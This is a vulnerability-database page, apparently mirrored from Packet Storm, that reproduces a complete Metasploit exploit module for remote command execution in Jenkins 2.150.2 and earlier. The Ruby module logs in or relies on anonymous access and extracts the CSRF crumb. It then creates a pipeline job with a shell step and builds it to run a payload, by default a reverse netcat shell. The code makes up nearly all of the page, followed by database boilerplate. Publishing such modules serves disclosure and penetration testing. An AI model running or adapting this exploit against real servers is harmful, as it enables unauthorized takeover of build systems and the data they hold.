Lucene search
K

Jenkins 2.150.2 Remote Command Execution Via Node JS

🗓️ 12 Feb 2019 00:00:00Reported by Ozkan Mustafa AkkusType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 381 Views

Jenkins 2.150.2 Remote Command Execution via Node J

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Jenkins <= 2.150.2 Remote Command Execution via Node JS (Metasploit)',  
'Description' => %q{  
This module can run commands on the system using Jenkins users who has JOB creation and BUILD privileges.  
The vulnerability is exploited by a small script prepared in NodeJS.  
The sh parameter allows us to run commands.  
Sample script:   
node {  
sh "whoami"  
}  
In addition, ANONYMOUS users also have the authority to JOB create and BUILD by default.  
Therefore, all users without console authority can run commands on the system as root privilege.  
},  
'Author' => [  
'AkkuS <Azkan Mustafa AkkuA>', # Vulnerability Discovery, PoC & Msf Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'https://pentest.com.tr/exploits/Jenkins-Remote-Command-Execution-via-Node-JS-Metasploit.html']  
],  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 512,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'reverse netcat generic perl ruby python telnet',  
}  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Jenkins <= 2.150.2', { }]],  
'DisclosureDate' => 'Feb 11 2019',  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }))  
  
register_options(  
[  
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),  
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),  
OptString.new('PATH', [ true, 'The path to jenkins', '/' ]),  
], self.class)  
end  
##  
# Jenkins activity check  
##  
  
def check  
res = send_request_cgi({'uri' => "/login"})  
if res and res.headers.include?('X-Jenkins')  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
print_status('Attempting to login to Jenkins dashboard')  
res = send_request_cgi({'uri' => "/script"})  
if not (res and res.code)  
fail_with(Exploit::Failure::Unknown)  
end  
  
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]  
@cookie = "#{sessionid}"  
print_status("#{sessionid}")  
  
if res.code != 200  
print_status('Logging in...')  
##  
# Access control and information  
##  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/j_acegi_security_check",  
'cookie' => @cookie,  
'vars_post' =>  
{  
'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),  
'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),  
'Submit' => 'Sign+in'  
}  
})  
  
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/  
print_error('User Login failed. If anonymous login is active, exploit will continue.')  
end  
else  
print_status('No authentication required, skipping login...')  
end  
##  
# Check Crumb for create pipeline  
##  
cookies = res.get_cookies  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "/view/all/newJob",  
'cookie' => cookies  
})  
  
html = res.body  
if html =~ /Jenkins-Crumb/  
print_good("Login Successful")  
else  
print_status("Service found, but login failed")  
exit 0  
end  
  
crumb = res.body.split('Jenkins-Crumb')[1].split('");<')[0].split('"').last  
print_status("Jenkins-Crumb: #{crumb}")  
##  
# Create Pipeline  
##  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/view/all/createItem",  
'cookie' => cookies,  
'vars_post' =>  
{  
'name' => "cmd",  
'mode' => "org.jenkinsci.plugins.workflow.job.WorkflowJob",  
'from' => "",  
'Jenkins-Crumb' => "#{crumb}",  
'json' => "%7B%22name%22%3A+%22cmd%22%2C+%22mode%22%3A+%22org.jenkinsci.plugins.workflow.job.WorkflowJob%22%2C+%22from%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%22528f90f71b2d2742299b4daf503130ac%22%7"  
}  
})  
  
##  
# Configure Pipeline  
##  
shell = payload.encoded  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/job/cmd/configSubmit",  
'cookie' => cookies,  
'vars_post' =>  
{  
'description' => "cmd",  
'Jenkins-Crumb' => "#{crumb}",  
'json' => "{\"description\": \"cmd\", \"properties\": {\"stapler-class-bag\": \"true\", \"hudson-security-AuthorizationMatrixProperty\": {}, \"jenkins-model-BuildDiscarderProperty\": {\"specified\": false, \"\": \"0\", \"strategy\": {\"daysToKeepStr\": \"\", \"numToKeepStr\": \"\", \"artifactDaysToKeepStr\": \"\", \"artifactNumToKeepStr\": \"\", \"stapler-class\": \"hudson.tasks.LogRotator\", \"$class\": \"hudson.tasks.LogRotator\"}}, \"org-jenkinsci-plugins-workflow-job-properties-DisableConcurrentBuildsJobProperty\": {\"specified\": false}, \"org-jenkinsci-plugins-workflow-job-properties-DisableResumeJobProperty\": {\"specified\": false}, \"com-coravy-hudson-plugins-github-GithubProjectProperty\": {}, \"org-jenkinsci-plugins-workflow-job-properties-DurabilityHintJobProperty\": {\"specified\": false, \"hint\": \"MAX_SURVIVABILITY\"}, \"org-jenkinsci-plugins-pipeline-modeldefinition-properties-PreserveStashesJobProperty\": {\"specified\": false, \"buildCount\": \"1\"}, \"hudson-model-ParametersDefinitionProperty\": {\"specified\": false}, \"jenkins-branch-RateLimitBranchProperty$JobPropertyImpl\": {}, \"org-jenkinsci-plugins-workflow-job-properties-PipelineTriggersJobProperty\": {\"triggers\": {\"stapler-class-bag\": \"true\"}}}, \"disable\": false, \"hasCustomQuietPeriod\": false, \"quiet_period\": \"5\", \"displayNameOrNull\": \"\", \"\": \"0\", \"definition\": {\"script\": \"node {\\n sh \\\"#{shell}\\\"\\n}\", \"\": [\"try sample Pipeline...\", \"\\u0001\\u0001\"], \"sandbox\": true, \"stapler-class\": \"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\", \"$class\": \"org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition\"}, \"core:apply\": \"\", \"Jenkins-Crumb\": \"#{crumb}\"}",  
'Submit' => "Save"  
}  
})  
  
if res.code == 302  
print_good("Pipeline was created and Node JS code was integrated.")  
end  
##  
# Build Pipeline and Execute payload  
##  
print_status("Trying to get remote shell...")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/job/cmd/build?delay=0sec",  
'cookie' => cookies,  
'vars_post' =>  
{  
'Jenkins-Crumb' => "#{crumb}"  
}  
})  
handler  
end  
end  
##  
# End  
##  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Feb 2019 00:00Current
1Low risk
Vulners AI Score1
381